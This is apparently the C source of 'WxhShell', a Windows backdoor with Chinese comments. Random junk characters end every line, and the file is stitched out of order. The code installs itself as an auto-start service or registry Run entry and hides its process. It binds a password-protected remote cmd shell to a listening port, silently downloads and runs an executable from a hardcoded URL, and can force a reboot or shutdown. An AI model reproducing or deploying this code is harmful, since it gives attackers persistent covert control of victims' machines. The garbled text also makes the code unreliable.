    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); E'|@hL-jn  
    if(Boot(SHUTDOWN)) CAGaZ rx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .G"UM>.}d  
    else { @<$-*,  
    closesocket(wsh); ig Mm.1>  
    ExitThread(0); ,2H@xji [  
    } OGgP~hd  
    break; QLx]%E\  
    } s bf\;_!  
  // 获取shell >heFdKq1  
  case 's': { a<-'4D/  
    CmdShell(wsh); i *W9 4  
    closesocket(wsh); 8*sZ/N.  
    ExitThread(0); ich\`j[i  
    break; cR 0+`&  
  } K OZHz`1!  
  // 退出 {fi:]|<1h  
  case 'x': { ES~ykE  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); %i!&Fr  
    CloseIt(wsh); &&Sl0(6x[T  
    break; {VWX?Mm  
    } x1\ a_Kt  
  // 离开 <S*o}:iB  
  case 'q': { Jg I+k Nx  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 8mM^wT  
    closesocket(wsh); 1BQB8i-,  
    WSACleanup(); q&.SB`  
    exit(1); =c{ / Z  
    break; zD>:Kj5  
        } 7x *]  
  } !<psK[  
  } o<\CA[   
"xS?#^a  
  // 提示信息 m791w8Vr  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9UD~$_<\  
} N%1T>cp0  
  } =d#3& R]p  
%xE9vN;  
  return; P{ AJH1  
} 2jQ|4$9j  
FKU$HQw*  
// shell模块句柄 ^j1?LB  
int CmdShell(SOCKET sock) H-gq0+,yE  
{ JFw<Po,MEa  
STARTUPINFO si; Etk`>,]Y>y  
ZeroMemory(&si,sizeof(si)); zY@|KV"^r  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1b)^5U ;  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; F\1{bN|3  
PROCESS_INFORMATION ProcessInfo; E|!rapa  
char cmdline[]="cmd"; <a@'Pcsk  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); n !ty\E  
  return 0; L_Q1:nL-0  
} 'Wv=mBEfZ  
Do3;-yp>`  
// 自身启动模式 -\mbrbG9H  
int StartFromService(void) RIXUzKLO  
{ Fs rGI (x?  
typedef struct k@qn' Zi  
{ @pueM+(L&  
  DWORD ExitStatus; b"-eQb  
  DWORD PebBaseAddress; p#:.,;  
  DWORD AffinityMask; X( m&  
  DWORD BasePriority; !^ko"^p  
  ULONG UniqueProcessId; ZU%7m_zO  
  ULONG InheritedFromUniqueProcessId; !MNo 8dC;  
}   PROCESS_BASIC_INFORMATION; ]ee%=+'  
gie}k)&M  
PROCNTQSIP NtQueryInformationProcess; X9^a:7(  
W(N@`^  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ZJz6 {cY  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; FuEgI8+b  
{}ks[%,_\  
  HANDLE             hProcess; /"d5<B`%  
  PROCESS_BASIC_INFORMATION pbi; m7z6c"?lB  
@}&o(q1M0  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >mzK96  
  if(NULL == hInst ) return 0; a%2r]:?^?  
K-V NU  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); SooSOOAx[  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Z/=x(I0  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Snx_NH#tA  
.VF4?~+M-  
  if (!NtQueryInformationProcess) return 0; m S[Vl6  
_aOisN{  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0*?~I;.2m$  
  if(!hProcess) return 0; q=8I0E&q  
yw'b^D/  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; IZ /Md@C  
y"= j[.  
  CloseHandle(hProcess); a%Ky;ys  
&f1dCL%z7  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); E7E>w#T5  
if(hProcess==NULL) return 0; lxTW1kr  
A!}Wpw%(/  
HMODULE hMod; XjpFJ#T*$A  
char procName[255]; Q>s>@hw  
unsigned long cbNeeded; e-Z+)4fH  
[G{{f  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^7Q}W#jy  
lUXxpv1m  
  CloseHandle(hProcess); U[9`:aV;  
Lc;4 Hg  
if(strstr(procName,"services")) return 1; // 以服务启动 mVGQyX  
jdxwS  
  return 0; // 注册表启动 B9;dX6c  
} @A(*&PU>j  
56(S[  
// 主模块 XBv:$F.>$  
int StartWxhshell(LPSTR lpCmdLine) M/ @1;a@\  
{ yP\KIm!  
  SOCKET wsl; &-#!]T-P:E  
BOOL val=TRUE; e=KA|"v xh  
  int port=0; Y>z~0$  
  struct sockaddr_in door; Y4,~s64e  
:| J' HCth  
  if(wscfg.ws_autoins) Install(); *7<5 G{  
9W$FX  
port=atoi(lpCmdLine); \`?l6'!  
a5o&6_  
if(port<=0) port=wscfg.ws_port; d[ql7  
)24r^21.q  
  WSADATA data; `mV&[`NZ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; i,>yIPBU!  
(C/2shr 8  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   X&sXss<fO%  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); h%MjVuLn  
  door.sin_family = AF_INET; " SkTVqm  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;RNU`I p  
  door.sin_port = htons(port); F"xD^<i  
=}5;rK  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )F;`07  
closesocket(wsl); Q/rOIHiI  
return 1; >YuBi:z  
} 0?525^   
:Rc>=)<7  
  if(listen(wsl,2) == INVALID_SOCKET) { E/@w6uIK[  
closesocket(wsl); C5;=!B  
return 1; \O 9j+L"  
} ikf6Y$nWfF  
  Wxhshell(wsl); R%iyNK,  
  WSACleanup(); l@ vaupg  
x_lCagRGC4  
return 0; D{YAEG   
4f/2gI1@B  
} cA_77#<8  
mZ sftby}  
// 以NT服务方式启动 /Y("Q#Ueq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )`?Es8uW  
{ [r%WVf.#d  
DWORD   status = 0; qCg`"/0  
  DWORD   specificError = 0xfffffff; 24Lo .  
] fz0E:x  
  serviceStatus.dwServiceType     = SERVICE_WIN32; iK{ a9pt  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; in_~,fd  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; i8A{DMc,U  
  serviceStatus.dwWin32ExitCode     = 0; ZaQg SE>Y  
  serviceStatus.dwServiceSpecificExitCode = 0; :X-Z|Pv8  
  serviceStatus.dwCheckPoint       = 0; Fl\X&6k  
  serviceStatus.dwWaitHint       = 0; Z3E957}  
]JB~LQz]k  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); FWqnlK#  
  if (hServiceStatusHandle==0) return; 7g1" s1~or  
cwi HHf>  
status = GetLastError(); J+IQvOn_|  
  if (status!=NO_ERROR) 46c7f*1l  
{ ,@"Z!?e  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; =qH9<,p`H  
    serviceStatus.dwCheckPoint       = 0; %KL"f  
    serviceStatus.dwWaitHint       = 0; y&T(^EA;  
    serviceStatus.dwWin32ExitCode     = status; `pS<v.L3  
    serviceStatus.dwServiceSpecificExitCode = specificError; c%-s_8zvi  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); BH _y0[y  
    return; pE(\q+1<  
  } ^b=]=w  
9B &QY 2v  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 0MDdcjqw  
  serviceStatus.dwCheckPoint       = 0; K r $R"  
  serviceStatus.dwWaitHint       = 0; SiJ0r @  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); J9J[.6k8  
} /HR9(j6  
't".~H_V  
// 处理NT服务事件,比如:启动、停止 {B$cd?}  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ]37k\O?vd  
{ Ek\f x*Lz  
switch(fdwControl) c]:sk[u  
{ F4+mkB:w*7  
case SERVICE_CONTROL_STOP: , |SO'dG  
  serviceStatus.dwWin32ExitCode = 0; OM5"&ZIZb  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; C 9IKX  
  serviceStatus.dwCheckPoint   = 0; 6FPGQ0q  
  serviceStatus.dwWaitHint     = 0; JF7n|o-`?  
  { G!},jO*"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); p] kpDx[9  
  } *xB9~:  
  return; R=ddQ:W6g  
case SERVICE_CONTROL_PAUSE: gI rVrAV#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; IxC/X5Mp^q  
  break; `c@KlL*!Q  
case SERVICE_CONTROL_CONTINUE: q]Gym 7o  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; OoOKr  
  break; }m NP[L  
case SERVICE_CONTROL_INTERROGATE: Ep-{Ew{T_=  
  break; w$Lpuu n{  
}; z#*M}RR  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F, {M!dL  
} SrzlR)  
-.ITcD g  
// 标准应用程序主函数 .QX|:]|n  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 5^'PjtW6  
{ cQEK>aAd  
|aef$f5  
// 获取操作系统版本 OD5c,IkWB  
OsIsNt=GetOsVer(); .zr2!}lB  
GetModuleFileName(NULL,ExeFile,MAX_PATH);  TA;  
NikY0=i  
  // 从命令行安装 =1 g  
  if(strpbrk(lpCmdLine,"iI")) Install(); n,sl|hv2U  
m#Rgelhk.  
  // 下载执行文件 >*rsRR  
if(wscfg.ws_downexe) { qH'T~# S  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ($:s}_<>s  
  WinExec(wscfg.ws_filenam,SW_HIDE); %.,-dV'  
} \YO1;\W  
Z#.J>_u )  
if(!OsIsNt) { A2 r1%}{  
// 如果时win9x,隐藏进程并且设置为注册表启动 }{;m:Iia_  
HideProc(); FEgM4m.(G<  
StartWxhshell(lpCmdLine); +@D [%l|  
} X8l[B{|  
else dn/0>|5OF(  
  if(StartFromService()) J$6tCFD  
  // 以服务方式启动 b0PqP<{t  
  StartServiceCtrlDispatcher(DispatchTable); (UWP=L1  
else N@J "~9T  
  // 普通方式启动 %g7 !4  
  StartWxhshell(lpCmdLine); 0eq="|n^|  
O~yPe.  
return 0; +=#sa m*i  
} KJc fbZ~  
9?<WRM3a>  
/CX_@%m}e=  
HRO :U%  
=========================================== TR3_!0  
hX4&B  
HHa XK  
1(0LX^%  
TJ9JIxnS  
I3uS?c  
" dr3#?%  
5 {cbcuG  
#include <stdio.h> <i34;`)b  
#include <string.h> B3[;}8u>  
#include <windows.h> PR?Ls{}p\  
#include <winsock2.h>  M\zM-B  
#include <winsvc.h> 5]yQMY\2)  
#include <urlmon.h> v^2q\A-?  
c6gRXp'ID  
#pragma comment (lib, "Ws2_32.lib") SSO F\  
#pragma comment (lib, "urlmon.lib") \{  
;&4}hPq  
#define MAX_USER   100 // 最大客户端连接数 &~oBJar  
#define BUF_SOCK   200 // sock buffer d`9% :2qE  
#define KEY_BUFF   255 // 输入 buffer +{Yd\{9  
9[}L=n  
#define REBOOT     0   // 重启  m~"<k d  
#define SHUTDOWN   1   // 关机 cLl=?^DB  
K#q1/2  
#define DEF_PORT   5000 // 监听端口 _jt>%v4}4  
5X>b(`  
#define REG_LEN     16   // 注册表键长度 V+My]9ki  
#define SVC_LEN     80   // NT服务名长度 urmx})=  
EJ7}h?a]U_  
// 从dll定义API ^eke,,~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); L+y}hb r  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &P 'cf|KI  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [5>f{L!<T<  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `tKrTq>  
@R% n &  
// wxhshell配置信息 Z{"/Ae5]  
struct WSCFG { =\ ]5C  
  int ws_port;         // 监听端口 A*tG[)  
  char ws_passstr[REG_LEN]; // 口令 %9ef[,WT  
  int ws_autoins;       // 安装标记, 1=yes 0=no 0LX;Vvo  
  char ws_regname[REG_LEN]; // 注册表键名 ^hPREbD+f  
  char ws_svcname[REG_LEN]; // 服务名 "&(.Z(  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 S*,DX~vig  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 BUR96YN.  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?B> { rj  
int ws_downexe;       // 下载执行标记, 1=yes 0=no V'TBt=!=]  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (ZR+(+i,  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Do-~-d4  
* S4IMfp  
}; 1fwjW0t  
]6)^+(zU  
// default Wxhshell configuration "w3#2q&  
struct WSCFG wscfg={DEF_PORT, 6qfL-( G  
    "xuhuanlingzhe", 7=yV8.cD  
    1, Zd$a}~4~  
    "Wxhshell", ,h1 z8.wD|  
    "Wxhshell", feg  
            "WxhShell Service", !DgN@P.o  
    "Wrsky Windows CmdShell Service", o%dKi]  
    "Please Input Your Password: ", D"kss5>w  
  1, v eP)ElX  
  "http://www.wrsky.com/wxhshell.exe", qRk&bF/  
  "Wxhshell.exe" ;tK%Q~To  
    }; )`;Q]?D   
c^$_epc*  
// 消息定义模块 LLE\;,bv  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; dO/iL7K&  
char *msg_ws_prompt="\n\r? for help\n\r#>"; QN`K|,}H^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 1.p2{  
char *msg_ws_ext="\n\rExit."; g \]2?vY.  
char *msg_ws_end="\n\rQuit."; WE;QEA/  
char *msg_ws_boot="\n\rReboot..."; MDkcG"O  
char *msg_ws_poff="\n\rShutdown..."; _XLGXJ[B  
char *msg_ws_down="\n\rSave to "; J^t-pU  
UQZ<sp4v;  
char *msg_ws_err="\n\rErr!"; F91uuSSL  
char *msg_ws_ok="\n\rOK!"; f|U;4{ k  
s|*0cK!K^  
char ExeFile[MAX_PATH]; )IN!CmpN  
int nUser = 0; &/XRiK1"0  
HANDLE handles[MAX_USER]; GQ=Zp3[  
int OsIsNt; )S41N^j.  
7K"{}:  
SERVICE_STATUS       serviceStatus; )F_0('=t  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; @ol}~&"  
KVQ^-^  
// 函数声明 zx<:1nF,]  
int Install(void); K?]><z{  
int Uninstall(void); 5Ii`|?vg  
int DownloadFile(char *sURL, SOCKET wsh); 1%Yd] 1c(  
int Boot(int flag); -*`7Q'}%  
void HideProc(void); )Fe6>tE  
int GetOsVer(void); er<yB#/;-  
int Wxhshell(SOCKET wsl);  AT@m_d  
void TalkWithClient(void *cs); 7X+SK&PX  
int CmdShell(SOCKET sock); SZVNu*G!H  
int StartFromService(void); yjcZTvjJ  
int StartWxhshell(LPSTR lpCmdLine); u@ MUcW  
b$7p`Ay  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); awYnlE/Z1  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); _p;>]0cc.  
L!:8yJK  
// 数据结构和表定义 {J#SpG 7  
SERVICE_TABLE_ENTRY DispatchTable[] = 0j{Rsy   
{ 'mwgHo<u  
{wscfg.ws_svcname, NTServiceMain}, Q,pnh!.-c  
{NULL, NULL} Ep>} S  
}; \#)|6w-  
0v7#vZ  
// 自我安装 rV6&:\  
int Install(void) }57s  
{ ZLP)i;Az  
  char svExeFile[MAX_PATH]; +pcGxje\  
  HKEY key; ^"lVTDsU  
  strcpy(svExeFile,ExeFile); (^_j,4  
@aQ};~  
// 如果是win9x系统,修改注册表设为自启动 CGyw '0S  
if(!OsIsNt) { a^{"E8j  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { z@za9U`6i  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nZtMF%j'  
  RegCloseKey(key); e3o?=;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4F[4H\>'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7'IcgTWDZy  
  RegCloseKey(key); =()Vrk|uK  
  return 0; D*T*of G  
    } Ms4~P6;%  
  } r6WSX;K  
} Z;v5L/;  
else { 'dXGd.V7u  
K_SURTys  
// 如果是NT以上系统,安装为系统服务 3@}rO~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ?/@ U#Qy  
if (schSCManager!=0) }dv$^4 *n  
{ 6&J7=g%G  
  SC_HANDLE schService = CreateService t,bQ@x{zVC  
  ( >O;V[H2[  
  schSCManager, .z+S @s[O  
  wscfg.ws_svcname, -eE r|Gs)  
  wscfg.ws_svcdisp, .}n-N #  
  SERVICE_ALL_ACCESS, 19h@fA[:  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #gq!L  
  SERVICE_AUTO_START, ?hC,49  
  SERVICE_ERROR_NORMAL, *F:)S"3_~e  
  svExeFile, u~pBMg ,  
  NULL, MpNgp )%>  
  NULL, 8-|| Nh  
  NULL, uM"_3je{W2  
  NULL, DXI{ jalL  
  NULL =)c^ik%F&  
  ); {sOWDM5  
  if (schService!=0) E|,RM;7  
  { ur$=%3vM  
  CloseServiceHandle(schService); (IXUT6|  
  CloseServiceHandle(schSCManager); C0K0c6A (4  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); n g,&;E  
  strcat(svExeFile,wscfg.ws_svcname); |KMwK png  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 0 s$;3qE  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <u_ vL WS  
  RegCloseKey(key); <q`'[1Y4  
  return 0; 7Gwo:s L  
    } oKMr Pr[`  
  } 7 /6 Zp?  
  CloseServiceHandle(schSCManager); Of}dsav   
} mu*RXLai  
} ljP<WD  
B?nw([4m  
return 1; Fp&tJ]=B.  
} UdOO+Z_K%  
>vPv 4e7&3  
// 自我卸载 o#K*-jOfiH  
int Uninstall(void) \[9^,Q P  
{ # 4&t09  
  HKEY key; 14pyHMOR  
vojXo|c  
if(!OsIsNt) { e"(SlR  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { c5em*qCw$  
  RegDeleteValue(key,wscfg.ws_regname); |Vo{ {)  
  RegCloseKey(key); :.P{}\/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @ogj -ol&  
  RegDeleteValue(key,wscfg.ws_regname); }&LVD$Bz  
  RegCloseKey(key); R>D[I.  
  return 0; 0FcG;i+  
  } cj\?vX\V  
} Ul<:Yt&nI  
} Y|!m  
else { "wR1=&gk  
8l l}"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); q o6~)Aws  
if (schSCManager!=0) a=4 `C*)  
{ nw-%!}Ot"  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); tMiy`CPh  
  if (schService!=0)  3 GL,=q  
  { 3y%,f|ju  
  if(DeleteService(schService)!=0) { $ ~Ks !8'P  
  CloseServiceHandle(schService); 5X73@Aj  
  CloseServiceHandle(schSCManager); _iF*BnmN  
  return 0; .% 79(r^  
  } TE9Iyl|=  
  CloseServiceHandle(schService); -A,UqEt  
  } u[ E0jI  
  CloseServiceHandle(schSCManager); / # d^  
} m-2!r*(zt  
} nX_w F`n"  
8ZF!}kb0F  
return 1; }nRTw2-z  
} }X/>WiGh:  
Ye|(5f  
// 从指定url下载文件 b]4\$rW7  
int DownloadFile(char *sURL, SOCKET wsh) M%YxhuT0  
{ eiQ42x@Z  
  HRESULT hr; IP  
char seps[]= "/"; ,MjlA{0  
char *token; c'INmc I|  
char *file; MCAWn H  
char myURL[MAX_PATH]; `>- 56 %  
char myFILE[MAX_PATH]; ,R\ex =c  
N*f ]NCSi  
strcpy(myURL,sURL); w\RYxu?  
  token=strtok(myURL,seps); P=aYwmC  
  while(token!=NULL) TbD $lx3>  
  { =pBr_pGz=  
    file=token; 9tWpxrig%  
  token=strtok(NULL,seps);  (l-l Y  
  } ZPG~@lU  
kni{1Gr  
GetCurrentDirectory(MAX_PATH,myFILE); Iqci}G%r  
strcat(myFILE, "\\"); :*ZijN*{)$  
strcat(myFILE, file); VHi'~B#'*  
  send(wsh,myFILE,strlen(myFILE),0); & }7+.^  
send(wsh,"...",3,0); u2S8D uJ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >K<cc#Aa  
  if(hr==S_OK) H;seT XL  
return 0; Qv<p$Up6  
else e'sS",o*  
return 1; ?kK3%uJy&  
{9FL}Jrt  
} x];i? 4  
6:q,JB@i  
// 系统电源模块 {PkR6.XhR  
int Boot(int flag) q|}O-A*wa  
{ fR b  
  HANDLE hToken; /:v}Ni"6nF  
  TOKEN_PRIVILEGES tkp; -,Js2+QZ#  
~z(0XKq0d  
  if(OsIsNt) { nsM. `s@V  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %d%FI"!K  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); P]iJ"d]+X  
    tkp.PrivilegeCount = 1; <MKX F V  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; !>N+a3   
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); kCALJRf~d  
if(flag==REBOOT) { "=ki_1/P  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) QUm[7<"  
  return 0;  ^Kl*}  
} 2tg07  
else { QnJLTBv  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) kRr/x-"  
  return 0; eE_$ADEf  
} ->*~e~T  
  } ]T{v~]7:{  
  else { JAM]neKiX  
if(flag==REBOOT) { dOK]Su  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +,g!xv4Q  
  return 0; o@hj.)u  
} l<qEX O  
else { njaKU?6%d2  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *+k yuY J  
  return 0; ^ZIs>.'  
} +^jm_+  
} J7sH]  
e _(';Lk  
return 1; liqVfB%  
} PI@?I&Bo  
A<^X P-Nrp  
// win9x进程隐藏模块 YhzDw8f  
void HideProc(void) iUFG!,+d  
{ x:Q$1&3N  
3ZbqZ"rE  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); #]Lodo9rS\  
  if ( hKernel != NULL ) |&@`~OBa  
  { r/@Wn  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); i8KoJY"  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); F vTswM>  
    FreeLibrary(hKernel); WFzM s  
  } q{%~(A5*H  
1JJ1!& >  
return; upaQoX/C  
} Ly/  
0176  
// 获取操作系统版本 @FZ_[CYg  
int GetOsVer(void) ~N/a\%`  
{ *&I _fAh]  
  OSVERSIONINFO winfo; >K&chg@Hv  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +* F e   
  GetVersionEx(&winfo); D>^g2!b:  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) l D->1=z  
  return 1; ^QjkZ^<dD  
  else 4e?bkC  
  return 0; H DD)AM&p  
} &EYoviFp  
Z4:^#98c.  
// 客户端句柄模块 7=NKbv]  
int Wxhshell(SOCKET wsl) )#GF:.B  
{ x3( ->?)D  
  SOCKET wsh; <$pv;]n  
  struct sockaddr_in client; cL!A,+S[_  
  DWORD myID; (>Nwd^  
E!.&y4  
  while(nUser<MAX_USER) db=S*LUbl  
{ (74y2U6  
  int nSize=sizeof(client); IlwHHt;njp  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <o[3*59  
  if(wsh==INVALID_SOCKET) return 1; W'=}2Y$]u  
azNv(|eeJL  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); *wsZ aQ  
if(handles[nUser]==0) W8Wjq DQ  
  closesocket(wsh); *>`6{0, 9  
else {; th~[  
  nUser++; z,hBtq:-$  
  } ir>S\VT4  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); \rATmjsKzS  
"'GhE+>Z  
  return 0; G;J)[y  
} rC]k'p2x  
fFoZ! H  
// 关闭 socket `KE]RTq  
void CloseIt(SOCKET wsh) I<XYLe[_S  
{ I-1NZgv  
closesocket(wsh); SjY|aW+wAL  
nUser--; OSLZ7B^  
ExitThread(0); ^fyue~9u  
} ,KD?kSIf  
z;?j+ZsdH  
// 客户端请求句柄 Ryygq,>VD.  
void TalkWithClient(void *cs) )FmIL(vu  
{ @H3x51PT(m  
kwqY~@W  
  SOCKET wsh=(SOCKET)cs; ADVS}d!;]  
  char pwd[SVC_LEN]; k4!_(X%8  
  char cmd[KEY_BUFF]; V1GkX =H},  
char chr[1]; 4*9t:D|}  
int i,j; ho B[L}<c  
nz'6^D7`r  
  while (nUser < MAX_USER) { G<$8g-O;D  
D%LYQ  
if(wscfg.ws_passstr) { Sv0?_3C  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $.:x3TsA  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }~NXiUe  
  //ZeroMemory(pwd,KEY_BUFF); ^nNpT!o  
      i=0; I.(@#v7T  
  while(i<SVC_LEN) { |W$|og'wC  
Lz p}<B  
  // 设置超时 tZVs0eVF<  
  fd_set FdRead; ,c0LRO   
  struct timeval TimeOut; 1Sza%D;3  
  FD_ZERO(&FdRead); v`jHd*&6)  
  FD_SET(wsh,&FdRead); =yM%#{t&W  
  TimeOut.tv_sec=8; g oyQ',+  
  TimeOut.tv_usec=0; S("dU`T?  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~IWdFUKk  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); $-~"G,;F  
,nCvA%B!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); CWRB/WH:  
  pwd=chr[0];  +Mhk<A[s  
  if(chr[0]==0xd || chr[0]==0xa) { %W2U$I5  
  pwd=0; f [.'V1  
  break; rlawH}1b  
  } &l!T2PX!  
  i++; olA+B  
    } C^;8M'8z0  
L;y BZLM  
  // 如果是非法用户,关闭 socket Ewq@>$_!  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); wHQ$xO;vD'  
} =au!rda  
6Z' K1  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ?G!~&  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?8?vBkz~  
c0rU&+:Ry  
while(1) { Rm79mh9  
} XhL`%  
  ZeroMemory(cmd,KEY_BUFF); ?*yB&(a:8  
aI ;$N|]u  
      // 自动支持客户端 telnet标准   q86}'dFw{  
  j=0; z$}9f*W}B  
  while(j<KEY_BUFF) { zK1]o-wSAT  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I1l^0@J   
  cmd[j]=chr[0]; H?M:<q0|G  
  if(chr[0]==0xa || chr[0]==0xd) { tPN CdA  
  cmd[j]=0; &WL::gy_S  
  break; ^k$Bx_{  
  } O6 s3#iu  
  j++; b SgbvnJ  
    } ]W4{|%@H"  
_x3=i\O,  
  // 下载文件 ^);M}~  
  if(strstr(cmd,"http://")) { %n8CK->  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6OAEAIh  
  if(DownloadFile(cmd,wsh)) B:0oT  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); aPK:k$.  
  else :8@eon}  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); frDMFEXXP  
  } jAue+ tB  
